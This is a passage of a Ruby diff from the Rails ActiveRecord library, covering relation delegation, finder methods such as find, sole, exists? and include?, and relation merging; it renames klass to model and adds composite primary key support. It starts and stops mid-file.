+                scoping { model.#{method}(...) }
+              end
+            RUBY
+          else
+            define_method(method) do |*args, **kwargs, &block|
+              scoping { model.public_send(method, *args, **kwargs, &block) }
+            end
+          end
+        end
+      end
+    end
+    private_constant :GeneratedRelationMethods
+
     extend ActiveSupport::Concern
 
     # This module creates compiled delegation methods dynamically at runtime, which makes
     # subsequent calls to that method faster by avoiding method_missing. The delegations
-    # may vary depending on the klass of a relation, so we create a subclass of Relation
-    # for each different klass, and the delegations are compiled into that subclass only.
+    # may vary depending on the model of a relation, so we create a subclass of Relation
+    # for each different model, and the delegations are compiled into that subclass only.
 
-    delegate :to_xml, :encode_with, :length, :collect, :map, :each, :all?, :include?, :to_ary, :join,
-             :[], :&, :|, :+, :-, :sample, :reverse, :compact, :in_groups, :in_groups_of,
-             :to_sentence, :to_formatted_s,
-             :shuffle, :split, :index, to: :records
+    delegate :to_xml, :encode_with, :length, :each, :join, :intersect?,
+             :[], :&, :|, :+, :-, :sample, :reverse, :rotate, :compact, :in_groups, :in_groups_of,
+             :to_sentence, :to_fs, :to_formatted_s, :as_json,
+             :shuffle, :split, :slice, :index, :rindex, to: :records
 
-    delegate :table_name, :quoted_table_name, :primary_key, :quoted_primary_key,
-             :connection, :columns_hash, to: :klass
+    delegate :primary_key, :with_connection, :connection, :table_name, :transaction, :sanitize_sql_like, :unscoped, :name, to: :model
 
     module ClassSpecificRelation # :nodoc:
       extend ActiveSupport::Concern
 
-      included do
-        @delegation_mutex = Mutex.new
-      end
-
       module ClassMethods # :nodoc:
         def name
           superclass.name
         end
-
-        def delegate_to_scoped_klass(method)
-          @delegation_mutex.synchronize do
-            return if method_defined?(method)
-
-            if /\A[a-zA-Z_]\w*[!?]?\z/.match?(method)
-              module_eval <<-RUBY, __FILE__, __LINE__ + 1
-                def #{method}(*args, &block)
-                  scoping { @klass.#{method}(*args, &block) }
-                end
-              RUBY
-            else
-              define_method method do |*args, &block|
-                scoping { @klass.public_send(method, *args, &block) }
-              end
-            end
-          end
-        end
-
-        def delegate(method, opts = {})
-          @delegation_mutex.synchronize do
-            return if method_defined?(method)
-            super
-          end
-        end
       end
 
       private
+        def method_missing(method, ...)
+          if model.respond_to?(method)
+            if !DelegateCache.delegate_base_methods && Base.respond_to?(method)
+              # A common mistake in Active Record's own code is to call `ActiveRecord::Base`
+              # class methods on Association. It works because it's automatically delegated, but
+              # can introduce subtle bugs because it sets the global scope.
+              # We can't deprecate this behavior because gems might depend on it, however we
+              # can ban it from Active Record's own test suite to avoid regressions.
+              raise NotImplementedError, "Active Record code shouldn't rely on association delegation into ActiveRecord::Base methods"
+            elsif !Delegation.uncacheable_methods.include?(method)
+              model.generate_relation_method(method)
+            end
 
-        def method_missing(method, *args, &block)
-          if @klass.respond_to?(method)
-            self.class.delegate_to_scoped_klass(method)
-            scoping { @klass.public_send(method, *args, &block) }
-          elsif arel.respond_to?(method)
-            self.class.delegate method, to: :arel
-            arel.public_send(method, *args, &block)
+            scoping { model.public_send(method, ...) }
           else
             super
           end
@@ -98,32 +135,19 @@ def method_missing(method, *args, &block)
     end
 
     module ClassMethods # :nodoc:
-      def create(klass, *args)
-        relation_class_for(klass).new(klass, *args)
+      def create(model, ...)
+        relation_class_for(model).new(model, ...)
       end
 
       private
-
-        def relation_class_for(klass)
-          klass.relation_delegate_class(self)
+        def relation_class_for(model)
+          model.relation_delegate_class(self)
         end
     end
 
-    def respond_to_missing?(method, include_private = false)
-      super || @klass.respond_to?(method, include_private) ||
-        arel.respond_to?(method, include_private)
-    end
-
     private
-
-      def method_missing(method, *args, &block)
-        if @klass.respond_to?(method)
-          scoping { @klass.public_send(method, *args, &block) }
-        elsif arel.respond_to?(method)
-          arel.public_send(method, *args, &block)
-        else
-          super
-        end
+      def respond_to_missing?(method, _)
+        super || model.respond_to?(method)
       end
   end
 end
diff --git a/activerecord/lib/active_record/relation/finder_methods.rb b/activerecord/lib/active_record/relation/finder_methods.rb
index 4548944fe613c..b91e0f932b908 100644
--- a/activerecord/lib/active_record/relation/finder_methods.rb
+++ b/activerecord/lib/active_record/relation/finder_methods.rb
@@ -1,24 +1,50 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/string/filters"
 
 module ActiveRecord
   module FinderMethods
     ONE_AS_ONE = "1 AS one"
 
-    # Find by id - This can either be a specific id (1), a list of ids (1, 5, 6), or an array of ids ([5, 6, 10]).
-    # If one or more records can not be found for the requested ids, then RecordNotFound will be raised. If the primary key
-    # is an integer, find by id coerces its arguments using +to_i+.
+    # Find by id - This can either be a specific id (ID), a list of ids (ID, ID, ID), or an array of ids ([ID, ID, ID]).
+    # `ID` refers to an "identifier". For models with a single-column primary key, `ID` will be a single value,
+    # and for models with a composite primary key, it will be an array of values.
+    # If one or more records cannot be found for the requested ids, then ActiveRecord::RecordNotFound will be raised.
+    # If the primary key is an integer, find by id coerces its arguments by using +to_i+.
     #
     #   Person.find(1)          # returns the object for ID = 1
     #   Person.find("1")        # returns the object for ID = 1
     #   Person.find("31-sarah") # returns the object for ID = 31
     #   Person.find(1, 2, 6)    # returns an array for objects with IDs in (1, 2, 6)
-    #   Person.find([7, 17])    # returns an array for objects with IDs in (7, 17)
+    #   Person.find([7, 17])    # returns an array for objects with IDs in (7, 17), or with composite primary key [7, 17]
     #   Person.find([1])        # returns an array for the object with ID = 1
     #   Person.where("administrator = 1").order("created_on DESC").find(1)
     #
-    # NOTE: The returned records may not be in the same order as the ids you
-    # provide since database rows are unordered. You will need to provide an explicit QueryMethods#order
-    # option if you want the results to be sorted.
+    # ==== Find a record for a composite primary key model
+    #   TravelRoute.primary_key = [:origin, :destination]
+    #
+    #   TravelRoute.find(["Ottawa", "London"])
+    #   # => #<TravelRoute origin: "Ottawa", destination: "London">
+    #
+    #   TravelRoute.find([["Paris", "Montreal"]])
+    #   # => [#<TravelRoute origin: "Paris", destination: "Montreal">]
+    #
+    #   TravelRoute.find(["New York", "Las Vegas"], ["New York", "Portland"])
+    #   # => [
+    #   #      #<TravelRoute origin: "New York", destination: "Las Vegas">,
+    #   #      #<TravelRoute origin: "New York", destination: "Portland">
+    #   #    ]
+    #
+    #   TravelRoute.find([["Berlin", "London"], ["Barcelona", "Lisbon"]])
+    #   # => [
+    #   #      #<TravelRoute origin: "Berlin", destination: "London">,
+    #   #      #<TravelRoute origin: "Barcelona", destination: "Lisbon">
+    #   #    ]
+    #
+    # NOTE: The returned records are in the same order as the ids you provide.
+    # If you want the results to be sorted by database, you can use ActiveRecord::QueryMethods#where
+    # method and provide an explicit ActiveRecord::QueryMethods#order option.
+    # But ActiveRecord::QueryMethods#where method doesn't raise ActiveRecord::RecordNotFound.
     #
     # ==== Find with lock
     #
@@ -61,6 +87,14 @@ module FinderMethods
     #
     #   Person.where(name: 'Spartacus', rating: 4).pluck(:field1, :field2)
     #   # returns an Array of the required fields.
+    #
+    # ==== Edge Cases
+    #
+    #   Person.find(37)          # raises ActiveRecord::RecordNotFound exception if the record with the given ID does not exist.
+    #   Person.find([37])        # raises ActiveRecord::RecordNotFound exception if the record with the given ID in the input array does not exist.
+    #   Person.find(nil)         # raises ActiveRecord::RecordNotFound exception if the argument is nil.
+    #   Person.find([])          # returns an empty array if the argument is an empty array.
+    #   Person.find              # raises ActiveRecord::RecordNotFound exception if the argument is not provided.
     def find(*args)
       return super if block_given?
       find_with_ids(*args)
@@ -76,17 +110,12 @@ def find(*args)
     #   Post.find_by "published_at < ?", 2.weeks.ago
     def find_by(arg, *args)
       where(arg, *args).take
-    rescue ::RangeError
-      nil
     end
 
     # Like #find_by, except that if no record is found, raises
     # an ActiveRecord::RecordNotFound error.
     def find_by!(arg, *args)
       where(arg, *args).take!
-    rescue ::RangeError
-      raise RecordNotFound.new("Couldn't find #{@klass.name} with an out of range value",
-                               @klass.name)
     end
 
     # Gives a record (or N records if a parameter is supplied) without any implied
@@ -106,6 +135,32 @@ def take!
       take || raise_record_not_found_exception!
     end
 
+    # Finds the sole matching record. Raises ActiveRecord::RecordNotFound if no
+    # record is found. Raises ActiveRecord::SoleRecordExceeded if more than one
+    # record is found.
+    #
+    #   Product.where(["price = %?", price]).sole
+    def sole
+      found, undesired = take(2)
+
+      if found.nil?
+        raise_record_not_found_exception!
+      elsif undesired.nil?
+        found
+      else
+        raise ActiveRecord::SoleRecordExceeded.new(self)
+      end
+    end
+
+    # Finds the sole matching record. Raises ActiveRecord::RecordNotFound if no
+    # record is found. Raises ActiveRecord::SoleRecordExceeded if more than one
+    # record is found.
+    #
+    #   Product.find_sole_by(["price = %?", price])
+    def find_sole_by(arg, *args)
+      where(arg, *args).sole
+    end
+
     # Find the first record (or first N records if a parameter is supplied).
     # If no order is defined it will order by primary key.
     #
@@ -145,10 +200,9 @@ def first!
     #
     #   [#<Person id:4>, #<Person id:3>, #<Person id:2>]
     def last(limit = nil)
-      return find_last(limit) if loaded? || limit_value
+      return find_last(limit) if loaded? || has_limit_or_offset?
 
-      result = limit(limit || 1)
-      result.order!(arel_attribute(primary_key)) if order_values.empty? && primary_key
+      result = ordered_relation.limit(limit)
       result = result.reverse_order!
 
       limit ? result.reverse : result.first
@@ -278,12 +332,12 @@ def second_to_last!
     # * Integer - Finds the record with this primary key.
     # * String - Finds the record with a primary key corresponding to this
     #   string (such as <tt>'5'</tt>).
-    # * Array - Finds the record that matches these +find+-style conditions
+    # * Array - Finds the record that matches these +where+-style conditions
     #   (such as <tt>['name LIKE ?', "%#{query}%"]</tt>).
-    # * Hash - Finds the record that matches these +find+-style conditions
+    # * Hash - Finds the record that matches these +where+-style conditions
     #   (such as <tt>{name: 'David'}</tt>).
     # * +false+ - Returns always +false+.
-    # * No args - Returns +false+ if the table is empty, +true+ otherwise.
+    # * No args - Returns +false+ if the relation is empty, +true+ otherwise.
     #
     # For more information about specifying conditions as a hash or array,
     # see the Conditions section in the introduction to ActiveRecord::Base.
@@ -299,7 +353,10 @@ def second_to_last!
     #   Person.exists?(name: 'David')
     #   Person.exists?(false)
     #   Person.exists?
+    #   Person.where(name: 'Spartacus', rating: 4).exists?
     def exists?(conditions = :none)
+      return false if @none
+
       if Base === conditions
         raise ArgumentError, <<-MSG.squish
           You are passing an instance of ActiveRecord::Base to `exists?`.
@@ -307,27 +364,48 @@ def exists?(conditions = :none)
         MSG
       end
 
-      return false if !conditions
+      return false if !conditions || limit_value == 0
 
-      relation = apply_join_dependency(self, construct_join_dependency(eager_loading: false))
-      return false if ActiveRecord::NullRelation === relation
+      if eager_loading?
+        relation = apply_join_dependency(eager_loading: false)
+        return relation.exists?(conditions)
+      end
 
-      relation = relation.except(:select, :distinct).select(ONE_AS_ONE).limit(1)
+      relation = construct_relation_for_exists(conditions)
+      return false if relation.where_clause.contradiction?
 
-      case conditions
-      when Array, Hash
-        relation = relation.where(conditions)
-      else
-        unless conditions == :none
-          relation = relation.where(primary_key => conditions)
+      skip_query_cache_if_necessary do
+        with_connection do |c|
+          c.select_rows(relation.arel, "#{model.name} Exists?").size == 1
         end
       end
+    end
 
-      connection.select_value(relation, "#{name} Exists", relation.bound_attributes) ? true : false
-    rescue ::RangeError
-      false
+    # Returns true if the relation contains the given record or false otherwise.
+    #
+    # No query is performed if the relation is loaded; the given record is
+    # compared to the records in memory. If the relation is unloaded, an
+    # efficient existence query is performed, as in #exists?.
+    def include?(record)
+      # The existing implementation relies on receiving an Active Record instance as the input parameter named record.
+      # Any non-Active Record object passed to this implementation is guaranteed to return `false`.
+      return false unless record.is_a?(model)
+
+      if loaded? || offset_value || limit_value || having_clause.any?
+        records.include?(record)
+      else
+        id = if record.class.composite_primary_key?
+          record.class.primary_key.zip(record.id).to_h
+        else
+          record.id
+        end
+
+        exists?(id)
+      end
     end
 
+    alias :member? :include?
+
     # This method is called whenever no records are found with either a single
     # id or multiple ids and raises an ActiveRecord::RecordNotFound exception.
     #
@@ -336,234 +414,265 @@ def exists?(conditions = :none)
     # of results obtained should be provided in the +result_size+ argument and
     # the expected number of results should be provided in the +expected_size+
     # argument.
-    def raise_record_not_found_exception!(ids = nil, result_size = nil, expected_size = nil, key = primary_key) # :nodoc:
-      conditions = arel.where_sql(@klass.arel_engine)
-      conditions = " [#{conditions}]" if conditions
-      name = @klass.name
+    def raise_record_not_found_exception!(ids = nil, result_size = nil, expected_size = nil, key = primary_key, not_found_ids = nil) # :nodoc:
+      conditions = " [#{arel.where_sql(model)}]" unless where_clause.empty?
+
+      name = model.name
 
       if ids.nil?
-        error = "Couldn't find #{name}"
+        error = +"Couldn't find #{name}"
         error << " with#{conditions}" if conditions
-        raise RecordNotFound.new(error, name)
-      elsif Array(ids).size == 1
-        error = "Couldn't find #{name} with '#{key}'=#{ids}#{conditions}"
+        raise RecordNotFound.new(error, name, key)
+      elsif Array.wrap(ids).size == 1
+        id = Array.wrap(ids)[0]
+        error = "Couldn't find #{name} with '#{key}'=#{id.inspect}#{conditions}"
         raise RecordNotFound.new(error, name, key, ids)
       else
-        error = "Couldn't find all #{name.pluralize} with '#{key}': "
-        error << "(#{ids.join(", ")})#{conditions} (found #{result_size} results, but was looking for #{expected_size})"
-
-        raise RecordNotFound.new(error, name, primary_key, ids)
+        error = +"Couldn't find all #{name.pluralize} with '#{key}': "
+        error << "(#{ids.map(&:inspect).join(", ")})#{conditions} (found #{result_size} results, but was looking for #{expected_size})."
+        error << " Couldn't find #{name.pluralize(not_found_ids.size)} with #{key.to_s.pluralize(not_found_ids.size)} #{not_found_ids.map(&:inspect).join(', ')}." if not_found_ids
+        raise RecordNotFound.new(error, name, key, ids)
       end
     end
 
     private
+      def construct_relation_for_exists(conditions)
+        conditions = sanitize_forbidden_attributes(conditions)
+
+        if distinct_value && offset_value
+          relation = except(:order).limit!(1)
+        else
+          relation = except(:select, :distinct, :order)._select!(Arel.sql(ONE_AS_ONE, retryable: true)).limit!(1)
+        end
 
-      def offset_index
-        offset_value || 0
+        case conditions
+        when Array, Hash
+          relation.where!(conditions) unless conditions.empty?
+        else
+          relation.where!(primary_key => conditions) unless conditions == :none
+        end
+
+        relation
       end
 
-      def find_with_associations
-        # NOTE: the JoinDependency constructed here needs to know about
-        #       any joins already present in `self`, so pass them in
-        #
-        # failing to do so means that in cases like activerecord/test/cases/associations/inner_join_association_test.rb:136
-        # incorrect SQL is generated. In that case, the join dependency for
-        # SpecialCategorizations is constructed without knowledge of the
-        # preexisting join in joins_values to categorizations (by way of
-        # the `has_many :through` for categories).
-        #
-        join_dependency = construct_join_dependency(joins_values)
-
-        aliases  = join_dependency.aliases
-        relation = select aliases.columns
-        relation = apply_join_dependency(relation, join_dependency)
+      def apply_join_dependency(eager_loading: group_values.empty?)
+        join_dependency = construct_join_dependency(
+          eager_load_values | includes_values, Arel::Nodes::OuterJoin
+        )
+        relation = except(:includes, :eager_load, :preload).joins!(join_dependency)
+
+        if eager_loading && has_limit_or_offset? && !(
+            using_limitable_reflections?(join_dependency.reflections) &&
+            using_limitable_reflections?(
+              construct_join_dependency(
+                select_association_list(joins_values).concat(
+                  select_association_list(left_outer_joins_values)
+                ), nil
+              ).reflections
+            )
+          )
+          relation = skip_query_cache_if_necessary do
+            model.with_connection do |c|
+              c.distinct_relation_for_primary_key(relation)
+            end
+          end
+        end
 
         if block_given?
-          yield relation
+          yield relation, join_dependency
         else
-          if ActiveRecord::NullRelation === relation
-            []
-          else
-            arel = relation.arel
-            rows = connection.select_all(arel, "SQL", relation.bound_attributes)
-            join_dependency.instantiate(rows, aliases)
-          end
+          relation
         end
       end
 
-      def construct_join_dependency(joins = [], eager_loading: true)
-        including = eager_load_values + includes_values
-        ActiveRecord::Associations::JoinDependency.new(@klass, including, joins, eager_loading: eager_loading)
-      end
-
-      def construct_relation_for_association_calculations
-        apply_join_dependency(self, construct_join_dependency(joins_values))
+      def using_limitable_reflections?(reflections)
+        reflections.none?(&:collection?)
       end
 
-      def apply_join_dependency(relation, join_dependency)
-        relation = relation.except(:includes, :eager_load, :preload)
-        relation = relation.joins join_dependency
+      def find_with_ids(*ids)
+        raise UnknownPrimaryKey.new(model) if primary_key.nil?
 
-        if using_limitable_reflections?(join_dependency.reflections)
-          relation
+        expects_array = if model.composite_primary_key?
+          ids.first.first.is_a?(Array)
         else
-          if relation.limit_value
-            limited_ids = limited_ids_for(relation)
-            limited_ids.empty? ? relation.none! : relation.where!(primary_key => limited_ids)
-          end
-          relation.except(:limit, :offset)
+          ids.first.is_a?(Array)
         end
-      end
 
-      def limited_ids_for(relation)
-        values = @klass.connection.columns_for_distinct(
-          "#{quoted_table_name}.#{quoted_primary_key}", relation.order_values)
+        return [] if expects_array && ids.first.empty?
 
-        relation = relation.except(:select).select(values).distinct!
-        arel = relation.arel
+        ids = ids.first if expects_array
 
-        id_rows = @klass.connection.select_all(arel, "SQL", relation.bound_attributes)
-        id_rows.map { |row| row[primary_key] }
-      end
+        ids = ids.compact.uniq
 
-      def using_limitable_reflections?(reflections)
-        reflections.none?(&:collection?)
+        model_name = model.name
+
+        case ids.size
+        when 0
+          error_message = "Couldn't find #{model_name} without an ID"
+          raise RecordNotFound.new(error_message, model_name, primary_key)
+        when 1
+          result = find_one(ids.first)
+          expects_array ? [ result ] : result
+        else
+          find_some(ids)
+        end
       end
 
-      private
+      def find_one(id)
+        if ActiveRecord::Base === id
+          raise ArgumentError, <<-MSG.squish
+            You are passing an instance of ActiveRecord::Base to `find`.
+            Please pass the id of the object by calling `.id`.
+          MSG
+        end
 
-        def find_with_ids(*ids)
-          raise UnknownPrimaryKey.new(@klass) if primary_key.nil?
+        relation = if model.composite_primary_key?
+          where(primary_key.zip(id).to_h)
+        else
+          where(primary_key => id)
+        end
 
-          expects_array = ids.first.kind_of?(Array)
-          return ids.first if expects_array && ids.first.empty?
+        record = relation.take
 
-          ids = ids.flatten.compact.uniq
+        raise_record_not_found_exception!(id, 0, 1) unless record
 
-          case ids.size
-          when 0
-            raise RecordNotFound, "Couldn't find #{@klass.name} without an ID"
-          when 1
-            result = find_one(ids.first)
-            expects_array ? [ result ] : result
-          else
-            find_some(ids)
-          end
-        rescue ::RangeError
-          raise RecordNotFound, "Couldn't find #{@klass.name} with an out of range ID"
-        end
+        record
+      end
 
-        def find_one(id)
-          if ActiveRecord::Base === id
-            raise ArgumentError, <<-MSG.squish
-              You are passing an instance of ActiveRecord::Base to `find`.
-              Please pass the id of the object by calling `.id`.
-            MSG
-          end
+      def find_some(ids)
+        return find_some_ordered(ids) unless order_values.present?
 
-          relation = where(primary_key => id)
-          record = relation.take
+        relation = where(primary_key => ids)
+        relation = relation.select(table[primary_key]) unless select_values.empty?
+        result = relation.to_a
 
-          raise_record_not_found_exception!(id, 0, 1) unless record
+        expected_size =
+          if limit_value && ids.size > limit_value
+            limit_value
+          else
+            ids.size
+          end
 
-          record
+        # 11 ids with limit 3, offset 9 should give 2 results.
+        if offset_value && (ids.size - offset_value < expected_size)
+          expected_size = ids.size - offset_value
         end
 
-        def find_some(ids)
-          return find_some_ordered(ids) unless order_values.present?
+        if result.size == expected_size
+          result
+        else
+          raise_record_not_found_exception!(ids, result.size, expected_size)
+        end
+      end
 
-          result = where(primary_key => ids).to_a
+      def find_some_ordered(ids)
+        ids = ids.slice(offset_value || 0, limit_value || ids.size) || []
 
-          expected_size =
-            if limit_value && ids.size > limit_value
-              limit_value
-            else
-              ids.size
-            end
+        relation = except(:limit, :offset)
+        relation = relation.where(primary_key => ids)
+        relation = relation.select(table[primary_key]) unless select_values.empty?
+        result = relation.records
 
-          # 11 ids with limit 3, offset 9 should give 2 results.
-          if offset_value && (ids.size - offset_value < expected_size)
-            expected_size = ids.size - offset_value
-          end
+        if result.size == ids.size
+          result.in_order_of(:id, ids.map { |id| model.type_for_attribute(primary_key).cast(id) })
+        else
+          raise_record_not_found_exception!(ids, result.size, ids.size)
+        end
+      end
 
-          if result.size == expected_size
-            result
-          else
-            raise_record_not_found_exception!(ids, result.size, expected_size)
-          end
+      def find_take
+        if loaded?
+          records.first
+        else
+          @take ||= limit(1).records.first
         end
+      end
 
-        def find_some_ordered(ids)
-          ids = ids.slice(offset_value || 0, limit_value || ids.size) || []
+      def find_take_with_limit(limit)
+        if loaded?
+          records.take(limit)
+        else
+          limit(limit).to_a
+        end
+      end
 
-          result = except(:limit, :offset).where(primary_key => ids).records
+      def find_nth(index)
+        @offsets ||= {}
+        @offsets[index] ||= find_nth_with_limit(index, 1).first
+      end
 
-          if result.size == ids.size
-            pk_type = @klass.type_for_attribute(primary_key)
+      def find_nth_with_limit(index, limit)
+        if loaded?
+          records[index, limit] || []
+        else
+          relation = ordered_relation
 
-            records_by_id = result.index_by(&:id)
-            ids.map { |id| records_by_id.fetch(pk_type.cast(id)) }
-          else
-            raise_record_not_found_exception!(ids, result.size, ids.size)
+          if limit_value
+            limit = [limit_value - index, limit].min
           end
-        end
 
-        def find_take
-          if loaded?
-            records.first
+          if limit > 0
+            relation = relation.offset((offset_value || 0) + index) unless index.zero?
+            relation.limit(limit).to_a
           else
-            @take ||= limit(1).records.first
+            []
           end
         end
+      end
 
-        def find_take_with_limit(limit)
-          if loaded?
-            records.take(limit)
+      def find_nth_from_last(index)
+        if loaded?
+          records[-index]
+        else
+          relation = ordered_relation
+
+          if relation.order_values.empty? || relation.has_limit_or_offset?
+            relation.records[-index]
           else
-            limit(limit).to_a
+            relation.reverse_order.offset(index - 1).first
           end
         end
+      end
 
-        def find_nth(index)
-          @offsets[offset_index + index] ||= find_nth_with_limit(index, 1).first
-        end
-
-        def find_nth_with_limit(index, limit)
-          if loaded?
-            records[index, limit] || []
-          else
-            relation = if order_values.empty? && primary_key
-              order(arel_attribute(primary_key).asc)
-            else
-              self
-            end
+      def find_last(limit)
+        limit ? records.last(limit) : records.last
+      end
 
-            relation = relation.offset(offset_index + index) unless index.zero?
-            relation.limit(limit).to_a
+      def ordered_relation
+        if order_values.empty?
+          if !_order_columns.empty?
+            return order(_order_columns.map { |column| table[column].asc })
           end
-        end
 
-        def find_nth_from_last(index)
-          if loaded?
-            records[-index]
+          if ActiveRecord.raise_on_missing_required_finder_order_columns
+            raise MissingRequiredOrderError, <<~MSG.squish
+              Relation has no order values, and #{model} has no order columns to use as a default.
+              Set at least one of `implicit_order_column`, `query_constraints` or `primary_key` on
+              the model when no `order `is specified on the relation.
+            MSG
           else
-            relation = if order_values.empty? && primary_key
-              order(arel_attribute(primary_key).asc)
-            else
-              self
-            end
+            ActiveRecord.deprecator.warn(<<~MSG)
+              Calling order dependent finder methods (e.g. `#first`, `#second`) without `order` values on the relation,
+              and on a model (#{model}) that does not have any order columns (`implicit_order_column`, `query_constraints`,
+              or `primary_key`) to fall back on is deprecated and will raise `ActiveRecord::MissingRequiredOrderError`
+              in Rails 8.2.
+            MSG
 
-            relation.to_a[-index]
-            # TODO: can be made more performant on large result sets by
-            # for instance, last(index)[-index] (which would require
-            # refactoring the last(n) finder method to make test suite pass),
-            # or by using a combination of reverse_order, limit, and offset,
-            # e.g., reverse_order.offset(index-1).first
+            self
           end
+        else
+          self
         end
+      end
 
-        def find_last(limit)
-          limit ? records.last(limit) : records.last
-        end
+      def _order_columns
+        columns = Array(model.implicit_order_column)
+
+        return columns.compact if columns.length.positive? && columns.last.nil?
+
+        columns += Array(model.query_constraints_list || model.primary_key)
+
+        columns.uniq.compact
+      end
   end
 end
diff --git a/activerecord/lib/active_record/relation/from_clause.rb b/activerecord/lib/active_record/relation/from_clause.rb
index 8945cb0cc56e5..d738154a50df1 100644
--- a/activerecord/lib/active_record/relation/from_clause.rb
+++ b/activerecord/lib/active_record/relation/from_clause.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   class Relation
     class FromClause # :nodoc:
@@ -8,14 +10,6 @@ def initialize(value, name)
         @name = name
       end
 
-      def binds
-        if value.is_a?(Relation)
-          value.bound_attributes
-        else
-          []
-        end
-      end
-
       def merge(other)
         self
       end
@@ -24,8 +18,12 @@ def empty?
         value.nil?
       end
 
+      def ==(other)
+        self.class == other.class && value == other.value && name == other.name
+      end
+
       def self.empty
-        @empty ||= new(nil, nil)
+        @empty ||= new(nil, nil).freeze
       end
     end
   end
diff --git a/activerecord/lib/active_record/relation/merger.rb b/activerecord/lib/active_record/relation/merger.rb
index 5dac00724a6b7..80c10734bcc52 100644
--- a/activerecord/lib/active_record/relation/merger.rb
+++ b/activerecord/lib/active_record/relation/merger.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/hash/keys"
 
 module ActiveRecord
@@ -12,7 +14,7 @@ def initialize(relation, hash)
         @hash     = hash
       end
 
-      def merge #:nodoc:
+      def merge
         Merger.new(relation, other).merge
       end
 
@@ -21,20 +23,19 @@ def merge #:nodoc:
       # build a relation to merge in rather than directly merging
       # the values.
       def other
-        other = Relation.create(relation.klass, relation.table, relation.predicate_builder)
-        hash.each { |k, v|
-          if k == :joins
-            if Hash === v
-              other.joins!(v)
-            else
-              other.joins!(*v)
-            end
-          elsif k == :select
-            other._select!(v)
+        other = Relation.create(
+          relation.model,
+          table: relation.table,
+          predicate_builder: relation.predicate_builder
+        )
+        hash.each do |k, v|
+          k = :_select if k == :select
+          if Array === v
+            other.public_send("#{k}!", *v)
           else
-            other.send("#{k}!", v)
+            other.public_send("#{k}!", v)
           end
-        }
+        end
         other
       end
     end
@@ -48,50 +49,59 @@ def initialize(relation, other)
         @other    = other
       end
 
-      NORMAL_VALUES = Relation::VALUE_METHODS -
-                      Relation::CLAUSE_METHODS -
-                      [:includes, :preload, :joins, :order, :reverse_order, :lock, :create_with, :reordering] # :nodoc:
-
-      def normal_values
-        NORMAL_VALUES
-      end
+      NORMAL_VALUES = Relation::VALUE_METHODS - Relation::CLAUSE_METHODS -
+                      [
+                        :select, :includes, :preload, :joins, :left_outer_joins,
+                        :order, :reverse_order, :lock, :create_with, :reordering
+                      ]
 
       def merge
-        normal_values.each do |name|
+        NORMAL_VALUES.each do |name|
           value = values[name]
           # The unless clause is here mostly for performance reasons (since the `send` call might be moderately
           # expensive), most of the time the value is going to be `nil` or `.blank?`, the only catch is that
           # `false.blank?` returns `true`, so there needs to be an extra check so that explicit `false` values
           # don't fall through the cracks.
           unless value.nil? || (value.blank? && false != value)
-            if name == :select
-              relation._select!(*value)
-            else
-              relation.send("#{name}!", *value)
-            end
+            relation.public_send(:"#{name}!", *value)
           end
         end
 
+        relation.none! if other.null_relation?
+
+        merge_select_values
         merge_multi_values
         merge_single_values
         merge_clauses
         merge_preloads
         merge_joins
+        merge_outer_joins
 
         relation
       end
 
       private
+        def merge_select_values
+          return if other.select_values.empty?
+
+          if other.model == relation.model
+            relation.select_values |= other.select_values
+          else
+            relation.select_values |= other.instance_eval do
+              arel_columns(select_values)
+            end
+          end
+        end
 
         def merge_preloads
           return if other.preload_values.empty? && other.includes_values.empty?
 
-          if other.klass == relation.klass
-            relation.preload!(*other.preload_values) unless other.preload_values.empty?
-            relation.includes!(other.includes_values) unless other.includes_values.empty?
+          if other.model == relation.model
+            relation.preload_values |= other.preload_values unless other.preload_values.empty?
+            relation.includes_values |= other.includes_values unless other.includes_values.empty?
           else
-            reflection = relation.klass.reflect_on_all_associations.find do |r|
-              r.class_name == other.klass.name
+            reflection = relation.model.reflect_on_all_associations.find do |r|
+              r.class_name == other.model.name
             end || return
 
             unless other.preload_values.empty?
@@ -105,46 +115,58 @@ def merge_preloads
         end
 
         def merge_joins
-          return if other.joins_values.blank?
+          return if other.joins_values.empty?
 
-          if other.klass == relation.klass
-            relation.joins!(*other.joins_values)
+          if other.model == relation.model
+            relation.joins_values |= other.joins_values
           else
-            joins_dependency, rest = other.joins_values.partition do |join|
+            associations, others = other.joins_values.partition do |join|
               case join
-              when Hash, Symbol, Array
-                true
-              else
-                false
+              when Hash, Symbol, Array; true
               end
             end
 
-            join_dependency = ActiveRecord::Associations::JoinDependency.new(other.klass,
-                                                                             joins_dependency,
-                                                                             [])
-            relation.joins! rest
+            join_dependency = other.construct_join_dependency(
+              associations, Arel::Nodes::InnerJoin
+            )
+            relation.joins!(join_dependency, *others)
+          end
+        end
+
+        def merge_outer_joins
+          return if other.left_outer_joins_values.empty?
+
+          if other.model == relation.model
+            relation.left_outer_joins_values |= other.left_outer_joins_values
+          else
+            associations, others = other.left_outer_joins_values.partition do |join|
+              case join
+              when Hash, Symbol, Array; true
+              end
+            end
 
-            @relation = relation.joins join_dependency
+            join_dependency = other.construct_join_dependency(
+              associations, Arel::Nodes::OuterJoin
+            )
+            relation.left_outer_joins!(join_dependency, *others)
           end
         end
 
         def merge_multi_values
           if other.reordering_value
             # override any order specified in the original relation
-            relation.reorder! other.order_values
-          elsif other.order_values
+            relation.reorder!(*other.order_values)
+          elsif other.order_values.any?
             # merge in order_values from relation
-            relation.order! other.order_values
+            relation.order!(*other.order_values)
           end
 
-          relation.extend(*other.extending_values) unless other.extending_values.blank?
+          extensions = other.extensions - relation.extensions
+          relation.extending!(*extensions) if extensions.any?
         end
 
         def merge_single_values
-          if relation.from_clause.empty?
-            relation.from_clause = other.from_clause
-          end
-          relation.lock_value ||= other.lock_value
+          relation.lock_value ||= other.lock_value if other.lock_value
 
           unless other.create_with_value.blank?
             relation.create_with_value = (relation.create_with_value || {}).merge(other.create_with_value)
@@ -152,11 +174,18 @@ def merge_single_values
         end
 
         def merge_clauses
-          CLAUSE_METHODS.each do |method|
-            clause = relation.get_value(method)
-            other_clause = other.get_value(method)
-            relation.set_value(method, clause.merge(other_clause))
-          end
+          relation.from_clause = other.from_clause if replace_from_clause?
+
+          where_clause = relation.where_clause.merge(other.where_clause)
+          relation.where_clause = where_clause unless where_clause.empty?
+
+          having_clause = relation.having_clause.merge(other.having_clause)
+          relation.having_clause = having_clause unless having_clause.empty?
+        end
+
+        def replace_from_clause?
